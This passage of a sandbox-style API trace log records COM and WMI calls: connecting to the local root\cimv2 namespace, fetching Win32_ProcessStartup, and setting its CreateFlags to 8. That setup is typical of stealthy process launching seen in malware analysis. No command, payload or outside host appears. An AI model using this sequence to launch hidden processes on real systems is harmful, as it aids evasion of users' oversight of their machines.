riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0069.881] WbemLocator:IUnknown:QueryInterface (in: This=0x11c94c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0069.881] WbemLocator:IUnknown:QueryInterface (in: This=0x11c94c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0069.881] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0069.881] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0069.881] WbemLocator:IUnknown:QueryInterface (in: This=0x11c94c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0069.882] WbemLocator:IUnknown:Release (This=0x11c94c0) returned 0x2 [0069.882] WbemLocator:IUnknown:Release (This=0x11c94c0) returned 0x1 [0069.882] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0069.882] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0069.882] WbemLocator:IUnknown:QueryInterface (in: This=0x11c94c0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x11c94c0) returned 0x0 [0069.882] WbemLocator:IUnknown:AddRef (This=0x11c94c0) returned 0x3 [0069.882] WbemLocator:IUnknown:Release (This=0x11c94c0) returned 0x2 [0069.882] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a820, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0069.882] WbemDefPath:IWbemPath:GetText (in: This=0x119a820, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0069.882] WbemDefPath:IWbemPath:GetText (in: This=0x119a820, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0069.882] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x11c94e0) returned 0x0 [0069.882] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11c94e0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf00240) returned 0x0 [0069.984] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00240, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bef1f30) returned 0x0 [0069.984] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef1f30, pProxy=0x1bf00240, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0069.984] WbemLocator:IUnknown:Release (This=0x1bef1f30) returned 0x1 [0069.984] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00240, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bef1f70) returned 0x0 [0069.984] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00240, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bef1f30) returned 0x0 [0069.984] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef1f30, pProxy=0x1bf00240, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0069.984] WbemLocator:IUnknown:Release (This=0x1bef1f30) returned 0x2 [0069.984] WbemLocator:IUnknown:Release (This=0x1bef1f70) returned 0x1 [0069.984] CoTaskMemFree (pv=0x1beed580) [0069.985] WbemLocator:IUnknown:AddRef (This=0x1bf00240) returned 0x2 [0069.985] WbemLocator:IUnknown:Release (This=0x11c94e0) returned 0x0 [0069.985] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0069.985] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0069.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00240, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bef1f40) returned 0x0 [0069.985] WbemLocator:IRpcOptions:Query (in: This=0x1bef1f40, pPrx=0x11c9480, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0069.985] WbemLocator:IUnknown:Release (This=0x1bef1f40) returned 0x2 [0069.985] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0069.985] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0069.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00240, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf00240) returned 0x0 [0069.985] WbemLocator:IUnknown:Release (This=0x1bf00240) returned 0x2 [0069.986] SysStringLen (param_1=0x0) returned 0x0 [0069.986] WbemDefPath:IWbemPath:GetText (in: This=0x119a8e0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0069.986] WbemDefPath:IWbemPath:GetText (in: This=0x119a8e0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0069.986] IWbemServices:GetObject (in: This=0x1bf00240, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bef5bd0, ppCallResult=0x0) returned 0x0 [0069.987] IWbemClassObject:Get (in: This=0x1bef5bd0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0069.987] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0069.988] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0069.988] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0069.988] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0069.988] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0069.988] IUnknown:Release (This=0x111f638) returned 0x1 [0069.990] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x11c94e0) returned 0x0 [0069.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x11c94e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0069.990] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11c94e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x119a760) returned 0x0 [0069.990] WbemDefPath:IUnknown:Release (This=0x11c94e0) returned 0x0 [0069.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a760, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x119a760) returned 0x0 [0069.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a760, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0069.990] WbemDefPath:IUnknown:AddRef (This=0x119a760) returned 0x3 [0069.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a760, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0069.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a760, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0069.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a760, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x11c9440) returned 0x0 [0069.991] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11c9440, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0069.991] WbemDefPath:IUnknown:Release (This=0x11c9440) returned 0x3 [0069.991] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0069.991] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0069.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a760, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0069.991] WbemDefPath:IUnknown:Release (This=0x119a760) returned 0x2 [0069.991] WbemDefPath:IUnknown:Release (This=0x119a760) returned 0x1 [0069.991] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0069.991] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0069.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a760, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x119a760) returned 0x0 [0069.991] WbemDefPath:IUnknown:AddRef (This=0x119a760) returned 0x3 [0069.991] WbemDefPath:IUnknown:Release (This=0x119a760) returned 0x2 [0069.991] WbemDefPath:IWbemPath:SetText (This=0x119a760, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0069.991] IWbemClassObject:Get (in: This=0x1bef5bd0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29837c0*=0, plFlavor=0x29837c4*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29837c0*=19, plFlavor=0x29837c4*=0) returned 0x0 [0069.991] IWbemClassObject:Get (in: This=0x1bef5bd0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29837c0*=19, plFlavor=0x29837c4*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29837c0*=19, plFlavor=0x29837c4*=0) returned 0x0 [0069.992] IWbemClassObject:Put (This=0x1bef5bd0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0069.992] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119aa60, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0069.992] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0069.992] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0069.992] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0069.992] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0069.992] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0069.992] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0069.992] IUnknown:Release (This=0x111f638) returned 0x1 [0069.993] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x11c9220) returned 0x0 [0069.994] WbemDefPath:IUnknown:QueryInterface (in: This=0x11c9220, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0069.994] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11c9220, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x119a6a0) returned 0x0 [0069.994] WbemDefPath:IUnknown:Release (This=0x11c9220) returned 0x0 [0069.994] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a6a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x119a6a0) returned 0x0 [0069.994] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a6a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0069.994] WbemDefPath:IUnknown:AddRef (This=0x119a6a0) returned 0x3 [0069.994] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a6a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0069.994] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a6a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0069.994] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a6a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x11c9260) returned 0x0 [0069.994] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11c9260, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0069.994] WbemDefPath:IUnknown:Release (This=0x11c9260) returned 0x3 [0069.994] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0069.994] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0069.994] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a6a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0069.995] WbemDefPath:IUnknown:Release (This=0x119a6a0) returned 0x2 [0069.995] WbemDefPath:IUnknown:Release (This=0x119a6a0) returned 0x1 [0069.995] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0069.995] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0069.995] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a6a0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x119a6a0) returned 0x0 [0069.995] WbemDefPath:IUnknown:AddRef (This=0x119a6a0) returned 0x3 [0069.995] WbemDefPath:IUnknown:Release (This=0x119a6a0) returned 0x2 [0069.995] WbemDefPath:IWbemPath:SetText (This=0x119a6a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0069.995] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a6a0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0069.995] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0069.995] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0069.995] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0069.995] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0069.995] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0069.995] IUnknown:Release (This=0x111f638) returned 0x1 [0069.996] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x11d5130) returned 0x0 [0069.996] WbemLocator:IUnknown:QueryInterface (in: This=0x11d5130, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0069.996] WbemLocator:IClassFactory:CreateInstance (in: This=0x11d5130, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x11d5150) returned 0x0 [0069.996] WbemLocator:IUnknown:Release (This=0x11d5130) returned 0x0 [0069.996] WbemLocator:IUnknown:QueryInterface (in: This=0x11d5150, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x11d5150) returned 0x0 [0069.996] WbemLocator:IUnknown:QueryInterface (in: 